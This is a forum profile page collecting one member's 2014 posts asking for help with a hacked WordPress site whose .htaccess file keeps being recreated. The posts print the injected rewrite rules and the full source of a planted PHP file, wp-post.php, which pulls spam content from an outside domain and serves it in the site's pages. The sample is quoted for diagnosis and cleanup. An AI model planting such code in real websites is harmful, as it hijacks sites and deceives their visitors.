Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Messages - Barret Wallace

Pages: [1]

Web Oriented Coding / Re: .htaccess keeps re-appearing

« on: September 24, 2014, 09:05:41 PM »

Thank you!

@Factionwars: I already deleted a file that included an eval(...) expressions and obviously was malicious. Several WP-Plugins indicate that there is most probably no security risk anymore. Although you never now... ;-)

@proxx: audit would be great. However, I can only use ssh as a regular user and can not install or use this tool.

However, I just saw that the .htaccess file is recreated permanently. When I look at the timestamp, it shows always the current server time. Are there any logs that I can have a look at that might point me to the right direction?

Web Oriented Coding / Re: .htaccess keeps re-appearing

« on: September 23, 2014, 08:50:50 PM »

Hi and thank you very much for your thoughts.

It is a Linux Server (Kernel 2.6.x), which I can use through cPanel, FTP and ssh. The software that is infected is Wordpress. It was hijacked probably already months ago. As far as I can see, the hack "only" adds spam links (hidden by css) to the bottom of my page. Perhaps, I'll have no choice but re-install everything from scratch. However, I also want to understand and learn what happens and I also have to wait a couple of weeks before I can reinstall everything. Thus, I would very much appreciate if there is a chance to clean the mess as good as possible now.

This is what the 444 .htaccess inside the Wordpress root directory looks like:

Code: [Select]

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteRule ^(.*)\.html$ /wp-includes/wp-post.php [QSA,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>


# END WordPress

I can't delete this file. The wp-post.php is not a file originally created by Wordpress. The content looks like:

Code: [Select]

<?php
set_time_limit(0);
error_reporting(0);
function getContent($url){
	$output='';
	if(function_exists('curl_init')) {
		$time_out = 30;
		$ch = curl_init($url) ;  
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ; 
		curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;   
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $time_out) ;   
		$output = curl_exec($ch) ;  
		curl_close($ch);   	
	}
	elseif(function_exists('file_get_contents')) {
		$output = file_get_contents($url);
	}else{
		$info = parse_url($url);  
		$fp = fsockopen($info["host"], 80, $errno, $errstr, 3)or exit($errstr."--->".$errno);
		$head = "GET ".$info['path']."?".$info["query"]." HTTP/1.0\r\n";  
		$head .= "Host: ".$info['host']."\r\n";  
		$head .= "\r\n";  
		$write = fputs($fp, $head);  
		while (!feof($fp))  
		{  
		  $output.= fgets($fp); 		 
		} 
	}
	return $output;
}
$domain =ereg_replace("^www\.", "", $_SERVER['SERVER_NAME']);
echo getContent('http://www.jameslebronbasketballshoes.com/file.aspx?f='.$_SERVER['REQUEST_URI'].'&d='.$domain);
?>

I can't delete this file as well.

Any ideas how to find out which script or file or else re-creates the .htaccess file every time I delete it?

Web Oriented Coding / .htaccess keeps re-appearing

« on: September 22, 2014, 06:57:37 PM »

Hi,

I guess, my web site is a little bit hacked... I think, I replaced most of the malicious files, but the .htaccess file has certain (spam-oriented) rewrite rules. When I try to delete it, it doesn't work. The file has 444 permissions and every time I delete the file, it is re-created immediately. Unfortunately, I don't know by whom. Has anybody a clue how to proceed in order to get rid of it?

Pages: [1]